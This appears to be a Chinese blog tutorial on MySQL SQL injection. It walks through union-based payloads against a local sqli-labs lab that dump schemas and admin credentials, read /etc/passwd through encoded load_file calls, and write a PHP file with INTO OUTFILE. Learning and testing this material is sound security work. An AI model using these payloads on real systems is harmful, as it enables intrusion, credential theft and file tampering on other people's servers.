vlambda博客
学习文章列表

SQL注入还有机会么

本文整理的SQL注入主要是针对MySQL

一、什么是SQL注入

SQL注入(SQL Injection)是这样一种漏洞:应用程序在向后台数据库传递 SQL(Structured Query Language,结构化查 询语句)查询时,如果为攻击者提供了影响该查询的能力,就会引发 SQL 注入。

所以SQL注入的关键点:

  • 用户能够控制数据的输入
  • 原本要执行的代码,拼接了用户的输入
  • 用户的输入存在未过滤或者过滤不严谨

1. 举个栗子

$query = "select * from users where user='admin' and passwd='{$password}'"

对于上述语句,我们password参数是拼接的用户输入正常我们输入密码,执行的sql语句如下:

MySQL [testdb]> select * from user where username='admin' and password='123456';
+----+----------+----------+
| Id | username | password |
+----+----------+----------+
| 1 | admin | 123456 |
+----+----------+----------+
1 row in set (0.00 sec)

MySQL [testdb]>

如果恶意攻击者进行注入:'or 1=1#,  就会导致执行如下SQL

MySQL [testdb]> select * from user where username='admin' and password='' or 1=1;
+----+----------+----------+
| Id | username | password |
+----+----------+----------+
| 1 | admin | 123456 |
+----+----------+----------+
1 row in set (0.00 sec)

MySQL [testdb]>

二、SQL注入辅助知识

1. INFORMATION_SCHEMA

在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表。

  • SCHEMATA表:提供了当前MySQL实例中所有数据库的信息。show databases的结果取自此表。
  • TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是 show tables from schemaname的结果取之此表。
  • COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是 show columns from schemaname.tablename的结果取 此表。
  • STATISTICS表:提供了关于表索引的信息。是 show index from schemaname.tablename的结果取 此表。
  • USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。该信息源自 mysql.user授权表。是非标准表。
  • SCHEMA_PRIVILEGES(方案权限)表:给出了关于方案(数据库)权限的信息。该信息来自 mysql.db授权表。是非标准表。
  • TABLE_PRIVILEGES(表权限)表:给出了关于表权限的信息。该信息源自 mysql.tables_priv授权表。是非标准表。
  • COLUMN_PRIVILEGES(列权限)表:给出了关于列权限的信息。该信息源自 mysql.columns_priv授权表。是非标准表。
  • CHARACTER_SETS(字符集)表:提供了mysql实例可用字符集的信息。是 SHOW CHARACTER SET结果集取 此表。
  • COLLATIONS表:提供了关于各字符集的对照信息。
  • COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。
  • TABLE_CONSTRAINTS表:描述了存在约束的表。以及表的约束类型。
  • KEY_COLUMN_USAGE表:描述了具有约束的键列。
  • ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数 (UDF)。名为 mysql.proc name的列指明了对应于 INFORMATION_SCHEMA.ROUTINES表的 mysql.proc表列。
  • VIEWS表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。
  • TRIGGERS表:提供了关于触发程序的信息。必须有super权限才能查看该表

「SCHEMATA:」

MySQL [testdb]> select * from information_schema.schemata;
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id: 4682
Current database: testdb

+--------------+--------------------+----------------------------+------------------------+----------+
| CATALOG_NAME | SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH |
+--------------+--------------------+----------------------------+------------------------+----------+
| def | information_schema | utf8 | utf8_general_ci | NULL |
| def | 74cms | utf8 | utf8_general_ci | NULL |
| def | dz | utf8 | utf8_general_ci | NULL |
| def | hdwiki | utf8 | utf8_general_ci | NULL |
| def | mysql | latin1 | latin1_swedish_ci | NULL |
+--------------+--------------------+----------------------------+------------------------+----------+
16 rows in set (0.01 sec)

MySQL [testdb]>

「TABLES:」

注意:不用引号就要把数据库名转为16进制,效果是一样的

MySQL [testdb]> select table_name from information_schema.tables where table_schema='testdb';
+------------+
| table_name |
+------------+
| user |
+------------+
1 row in set (0.00 sec)

MySQL [testdb]> select table_name from information_schema.tables where table_schema=0x746573746462;
+------------+
| table_name |
+------------+
| user |
+------------+
1 row in set (0.00 sec)

MySQL [testdb]>

「COLUMNS」:

注意:不用引号就要把数据库名转为16进制,效果是一样的

MySQL [testdb]> select column_name from information_schema.columns where table_name='user' and table_schema='testdb';
+-------------+
| column_name |
+-------------+
| Id |
| username |
| password |
+-------------+
3 rows in set (0.00 sec)

MySQL [testdb]> select column_name from information_schema.columns where table_name=0x75736572 and table_schema=0x746573746462;
+-------------+
| column_name |
+-------------+
| Id |
| username |
| password |
+-------------+
3 rows in set (0.00 sec)

MySQL [testdb]>

2. MySQL注释

  • 单行注释,注释从#字符到行尾: #
  • 多行注释: /× ×/
  • 用于单行注释(要求第二个-后面 一个空格或控制字符,如制表符,换行符): --

3. MySQL 重要函数

  • user()
  • database()
  • version()
  • @@hostname
  • @@datadir
  • @@version_compile_os
  • show tables;
  • SUBSTRING(name,5,3)截取 name这个字段 从第五个字符开始 只截取之后的3个字符
  • SUBSTRING(name,3)截取 name这个字段 从第三个字符开始,之后的所有个字符
  • SUBSTRING(name, -4) 截取name这个字段的第 4 个字符位置(倒数)开始取,直到结束
  • left(name,4)截取左边的4个字符
  • right(name,2)截取右边的2个字符
  • SELECT MID(column_name,start[,length]) FROM table_name
  • load_file()
  • concat() 多个字符串连接成一个字符串。
  • concat_ws()
  • group_concat() 连接一个组的所有字符串,并以逗号分割每一条数据

4. 常用特殊符号及URL编码

backspace: 8%

tab: 9%

space: 20%
!: 21%

": 22%

#: 23%

%: 25%

': 27%

(: 28%

): 29%

,: %2C

/: %2F

*: %2A

-: %2D

.: %2E
换行: %0A
\: %5C

5. PHP$_SERVER

$_SERVER['HTTP_ACCEPT_LANGUAGE']//浏览器语言 
$_SERVER['REMOTE_ADDR'] //当前用户 IP 。 
$_SERVER['REMOTE_HOST'] //当前用户主机名 
$_SERVER['REQUEST_URI'] //URL

$_SERVER['REMOTE_PORT'] //端口。 
$_SERVER['SERVER_NAME'] //服务器主机的名称。 
$_SERVER['PHP_SELF']//正在执行脚本的文件名 
$_SERVER['argv'] //传递给该脚本的参数。 
$_SERVER['argc'] //传递给程序的命令行参数的个数。 
$_SERVER['GATEWAY_INTERFACE']//CGI 规范的版本。 
$_SERVER['SERVER_SOFTWARE'] //服务器标识的字串 
$_SERVER['SERVER_PROTOCOL'] //请求页面时通信协议的名称和版本 
$_SERVER['REQUEST_METHOD']//访问页面时的请求方法 
$_SERVER['QUERY_STRING'] //查询(query)的字符串。 
$_SERVER['DOCUMENT_ROOT'] //当前运行脚本所在的文档根目录 
$_SERVER['HTTP_ACCEPT'] //当前请求的 Accept: 头部的内容。 
$_SERVER['HTTP_ACCEPT_CHARSET'] //当前请求的 Accept-Charset: 头部的内容。 
$_SERVER['HTTP_ACCEPT_ENCODING'] //当前请求的 Accept-Encoding: 头部的内容 
$_SERVER['HTTP_CONNECTION'] //当前请求的 Connection: 头部的内容。例如:“Keep-Alive”。 
$_SERVER['HTTP_HOST'] //当前请求的 Host: 头部的内容。 
$_SERVER['HTTP_REFERER'] //链接到当前页面的前一页面的 URL 地址。 
$_SERVER['HTTP_USER_AGENT'] //当前请求的 User_Agent: 头部的内容。 
$_SERVER['HTTPS']//如果通过https访问,则被设为一个非空的值(on),否则返回off 
$_SERVER['SCRIPT_FILENAME'#当前执行脚本的绝对路径名。 
$_SERVER['SERVER_ADMIN'#管理员信息 
$_SERVER['SERVER_PORT'#服务器所使用的端口 
$_SERVER['SERVER_SIGNATURE'#包含服务器版本和虚拟主机名的字符串。 
$_SERVER['PATH_TRANSLATED'#当前脚本所在文件系统(不是文档根目录)的基本路径。 
$_SERVER['SCRIPT_NAME'#包含当前脚本的路径。这在页面需要指向自己时非常有用。 
$_SERVER['PHP_AUTH_USER'#当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的用户名。 
$_SERVER['PHP_AUTH_PW'#当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的密码。 
$_SERVER['AUTH_TYPE'#当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是认证的类型

三、SQL注入的分类

1. 分类

根据注入点类型分为:

  • 数字型: url如:http://xxxx.com/sqli.php?id=1
  • 字符型: url如:http://xxxx.com/sqli.php?name=admin

根据注入点的位置分为:

  • GET注入:注入点的位置在GET参数部分
  • POST注入:注入字段在POST数据中(表单提交,产品查询)
  • Cookie注入:注入字段在Cookie数据中
  • HTTP头注入:注入点在HTTP请求头部的某个字段中
  • .....

根据注入方式分:

  • 报错注入
  • 盲注
    • 布尔盲注: 无回显
    • 时间注入:无回显
  • union注入

还有一些分类,如:

  • 伪静态注入
  • base64注入
  • 二阶注入
  • XML实体注入
  • ....

2. 易发生SQL注入位置

任何用户输入与数据库交互的地方都可能产生注入!

  • 登录框
  • 搜索框
  • url参数值
  • 信息设置
  • ....

3. SQL注入漏洞挖掘

关于数字型-内联SQL注入常用测试:

测试字符串 变种 预期结果
'
触发错误,如果成功,数据库将返回一个错误
Value+0 Value-0 如果成功,将返回与原请求相同的结果
Value*1 Value/1 如果成功,将返回与原请求相同的结果
1 or 1=1 1)or (1=1 永真条件。如果成功,将返回列表中所有的行
value or 1=2 value) or (1=2 空条件。如果成功,将返回与原请求相同的结果
1 and 1=2 1) and (1=2 永假条件。如果成功则不返回列表中任何行
1 or 'ab' = 'a' + 'b' 1) or ('ab'=a+'b' SQL Server串联。如果成功,则返回与永真条件相同的信息
1 or 'ab'='a''b' 1) or ('ab'='a''b' Mysql 串联。如果成功,则返回与永真条件相同的信息
1 or 'ab'='a' || 'b' 1) or ('ab'='a'||'b' oracle串联。如果成功,则返回与永真条件相同的信息

其他一些常用测试语句:

数字型 字符型
and 1=1 / and 1=2 and '1' = '1 / and '1'='2
OR 1=1 / or 1=2 or '1' = '1 / or '1' = '2'#
+ - * / > < <= >= +'/+'1 -'0/-'1 > < <= >=
1 like 1 1/1 like 2 1' like '1/1' like '2
1 in (1,2) / 1 in (2,3) 1' in ('1')#/'1' in ('2')#

数据库的比较运算符:

  • 数字与数字进行比较,这里正常的数字比较,如 2>1 为真, 2<1 为假进行测试
  • 数字与字符串进行比较,取字符串的第一位开始的数字,拿该数字进行比较,如果是字符则拿0进行比较。如进行 "423abc">40 为真, "a4bccc"=0 为真
  • 字符串与字符串进行比较,从两个字符串的不相同处开始分别取一字符的ASCII进行比较,如:
    • 'a'<'b'为真
    • 'abcd'='abcd'为真
    • 'abcd'>'abca' 为真

以上这些是我们经常会尝试在寻找注入点时用的一些测试,当然也有一些自动化工具来完成。

4. SQL注入漏洞挖掘工具

  • X-Ray
  • Safe2wvs
  • WebCruiser
  • Appscan
  • Acunetix Wvs

四、常见的SQL注入方法

1. 常见的注入方法

  • UNION 查询:  UNION 即联合查询,把两次或多次查询结果合并起来, UNION会去掉重复的行,如不想去掉,可使用 UNION ALL
    • 所有查询中必须具有相同的结构
    • 对应列的数据类型可以不同但是必须兼容
    • 如果为XML数据类型则列必须等价
  • MySQL 延迟注入:延迟注入其实就是根据查询返回时间变得缓慢来判断是否存在延迟注入
    • select benchark(1000,select * from admin)
    • id=1 and sleep(5)
    • and if(substring(user(),1,4)='root',sleep(5),1)判断当前用户
    • and if(MID(version(),1,1)like 5,sleep(),1)判断数据库版本信息是否为5
    • and if(ascii(substring(database(),1,4))>100,sleep(5),1)
    • mysql >= 5.0 的可以使用sleep()进行查询, 如:
    • mysql < 5.0 可以使用benchmark()进行查询, benchark(n,sql语句)n为查询次数,如:
  • 二阶注入:二阶注入,作为 SQL注入的一种,他不同于普通的 SQL注入,恶意代码被注入到web应用中不立即执行,而是存储到后端的数据库中,在处理另外一次不同的请求时,应用检索到数据库中的恶意输入并利用它动态构建 SQL语句,实现了攻击。过程描述如下:
    • 攻击者在一个HTTP请求中提交恶意输入,用于将恶意输入保存在数据库中
    • 攻击者提交第二个HTTP请求,为处理第二个HTTP请求,应用检索存储在后端数据库中的恶意输入,动态构建 SQL语句
    • 在第二个请求的响应中向攻击者返回结构
  • 盲注,盲注就是在注入过程中,获取的数据不能回显到前端页面。
    • 基于布尔的盲注,如: regexp, like, ascii,left,ord,mid
    • 基于时间的盲注,延迟判断,如if, sleep
    • 基于报错的盲注,如: floor, updatexml, extractvalue
  • XFF头注入
  • .....

其实注入的地方可以有很多,只要涉及到和数据库的交互,加上程序员的处理不严谨,都可能给你可乘之机

2. 发现注入点之后的处理

说一下我们如果发现注入点之后的过程:

  1. 信息收集:主要是通过注入获取当前数据的信息。如:

    1. 操作系统
    2. 数据库名
    3. 数据库用户
    4. 数据库版本
    5. ....
  2. 高权限注入

    1. 常规的查询
    2. 库的查询
  3. 文件读写

3. 举个例子

通过如下例子理解

mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails |
| referers |
| uagents |
| users |
+--------------------+
4 rows in set (0.00 sec)

mysql> select * from users where id=1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> desc emails;
+----------+-------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+-------------+------+-----+---------+----------------+
| id | int(3) | NO | PRI | NULL | auto_increment |
| email_id | varchar(30) | NO | | NULL | |
+----------+-------------+------+-----+---------+----------------+
2 rows in set (0.00 sec)

mysql> select * from users where id=1 union select 1,email_id,3 from emails;
+----+------------------------+----------+
| id | username | password |
+----+------------------------+----------+
| 1 | Dumb | Dumb |
| 1 | [email protected] | 3 |
| 1 | [email protected] | 3 |
| 1 | [email protected] | 3 |
| 1 | [email protected] | 3 |
| 1 | [email protected] | 3 |
| 1 | [email protected] | 3 |
| 1 | [email protected] | 3 |
| 1 | [email protected] | 3 |
+----+------------------------
| 1 | [email protected] | 3 |
| 1 | [email protected] | 3 |
| 1 | [email protected] | 3 |
+----+------------------------+----------+
8 rows in set (0.00 sec)

mysql>
+----------+
9 rows in set (0.00 sec)

mysql> select * from users where id=-1 union select 1,email_id,3 from emails;
+----+------------------------+----------+
| id | username | password |
+----+------------------------+----------+
| 1 | [email protected] | 3 |
| 1 | [email protected] | 3 |
| 1 | [email protected] | 3 |
| 1 | [email protected] | 3 |
| 1 | [email protected] | 3 |
| 1 | [email protected] | 3 |
| 1 | [email protected] | 3 |
| 1 | [email protected] | 3 |
+----+------------------------+----------+
8 rows in set (0.00 sec)

mysql>

sqli-labs :https://github.com/Audi-1/sqli-labs ,BaseChanenges中的第一个题来理解union注入过程:

信息收集


这里为了方便理解,将执行的SQL语句进行了打印,可以看到当我们传递id=1时执行的sql语句中1 是作为字符串处理的,这里这里我们通过执行其实我们通过union 注入,希望执行如下sql语句:

Select * from users where id=-1 union select 1,database(),3;

那么实现这种注入的效果是,我们需要输入如下url: http://192.168.1.100:7878/Less-1/?id=-1' union select 1,user(),3-- 这里切记-- 后面还有一个空格,执行效果如下:

SQL注入还有机会么

这样就通过联合注入获取到了当前的数据库用户名信息,当然前面提到过的database(),version()...等这些都可以在这里使用来获取更多的信息。

  • 获取当前数据库信息: http://192.168.1.100:7878/Less-1/?id=-1%27%20union%20select%201,database(),3%20--%20
  • 获取当前数据库版本信息: http://192.168.1.100:7878/Less-1/?id=-1%27%20union%20select%201,version(),3%20--%20
  • 获取当前数据目录信息: http://192.168.1.100:7878/Less-1/?id=-1%27%20union%20select%201,@@datadir,3%20--%20
  • 获取当前主机用户信息: http://192.168.1.100:7878/Less-1/?id=-1%27%20union%20select%201,@@hostname,3%20--%20
  • 获取当前主机系统信息: http://192.168.1.100:7878/Less-1/?id=-1%27%20union%20select%201,@@version_compile_os,3%20--%20
  • .....

从上面的的信息中我们正好是root用户具有最高权限,所以我们可以获取的内容更多一些,结合文章前面说的INFORMATION_SCHEMA,我们可以获取所以的库信息:http://192.168.1.100:7878/Less-1/?id=-1%27%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata%20--%20

访问上述连接我们得到如下页面效果:

SQL注入还有机会么

我们就获取到了当前这个数据的所有数据库名字:

information_schema,74cms,bluecms,challenges,dvwa,dz,dzx,mysql,performance_schema,phpyun,pikachu,rockxinhu,root,security,sys,thsns,tipask,typecho,typecho2,wiki,xinhu,zzzphp

当然如果我们不是具有高权限的用户那么我们就只能通过当前用户获取当前数据下的相关的表信息。

高权限注入

我们通过信息收集部分确定已经可以跨库进行查询,那么我们获取一下dz的数据表信息:

http://192.168.1.100:7878/Less-1/?id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables where table_schema='74cms'%20--%20

得到如下信息:

SQL注入还有机会么

即我们获取到了74cms这个数据库的所有表信息:

qs_ad,qs_ad_category,qs_admin,qs_admin_auth,qs_admin_auth_group,qs_admin_log,qs_admin_role,qs_apply,qs_article,qs_article_category,qs_article_property,qs_audit_reason,qs_authentication,qs_badword,qs_baidu_submiturl,qs_baiduxml,qs_category,qs_category_district,qs_category_group,qs_category_jobs,qs_category_major,qs_company_cancellation_appl

从表信息可以知道qs_admin应该存的就是74cms这个数据库的管理员信息,可以进一步获取qs_admin 表的信息:

http://192.168.1.100:7878/Less-1/?id=-1%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns where table_name='qs_admin'%20--%20


SQL注入还有机会么

接着获取当当前表的管理员信息:http://192.168.1.100:7878/Less-1/?id=-1%27%20union%20select%201,username,password%20from%2074cms.qs_admin%20--%20


......后续根据高权限你还可以干很多事情,这里不进行一一列举

文件读写

  • load_file(): 读取函数
  • into outfileinto dumpfile : 导出函数

注意:load_file()和 into outfile  的使用是有前提条件的:

MySQL配置:secure_file_priv需要设置对应的目录默认为NULL,当为NULL时无法load_file()/into outfile

如果是into outfile 还需要magic_quotes=off

可以通过show global variables like '%secure%'; 查看secure_file_priv设置,如下是我当前数据库的默认设置

mysql> show global variables like '%secure%';
+--------------------------+-------+
| Variable_name | Value |
+--------------------------+-------+
| require_secure_transport | OFF |
| secure_auth | ON |
| secure_file_priv | NULL |
+--------------------------+-------+
3 rows in set, 1 warning (0.01 sec)

mysql>

更改之后为:

mysql> show global variables like '%secure%';
+--------------------------+-------+
| Variable_name | Value |
+--------------------------+-------+
| require_secure_transport | OFF |
| secure_auth | ON |
| secure_file_priv | c:\ |
+--------------------------+-------+
3 rows in set, 1 warning (0.07 sec)

还是通过上面的例子演示,我在c盘根目录下放了一个1.txt文件,访问:

http://192.168.1.100:7878/Less-1/?id=-1%27%20union%20select%201,load_file('c:/1.txt'),3%20--%20

访问如下urlc盘目录下创建一个phpinfo.php文件,内容为:<?php phpinfo(); php>

http://192.168.1.100:7878/Less-1/?id=-1%27%20union%20select '<?php','phpinfo();','php>' into outfile 'c:/phpinfo.php'%20--%20

常见的load_file()读取敏感文件信息:

  • load_file(0×2F6574632F706173737764) 读取 /etc/passwd
  • load_file(char(47,101,116,99,47,112,97,115,115,119,100)) 读取 /etc/passwd
  • /etc/ssh/ssh_config
  • /etc/my.cnf
  • /etc/sysconfig/network-scripts/ifcfg-eth0
  • .....

某些情况下网站对某些特殊符号做了限制,解决方法有:

  • hex
  • char

如:

select * from users where id=1 union select @@version,@@version_compile_os,@@hostname,user(),database(),load_file(0x2F6574632F706173737764),7,8,9;

select ascii('/'),ascii('e'),ascii('t'),ascii('c'),ascii('/'),ascii('p'),ascii('a'),ascii('s'),ascii('s'),ascii('w'),ascii('d');

select hex('/etc/passwd');

select char(47,101,116,99,47,112,97,115,115,119,100);


select * from users where id=1 union select @@version,@@version_compile_os,@@hostname,user(),database(),load_file(char(47,101,116,99,47,112,97,115,115,119,100)),7,8,9;

这篇文章主要整理了关于注入的一些入门基本知识,后续会整理关于盲住,报错注入等内容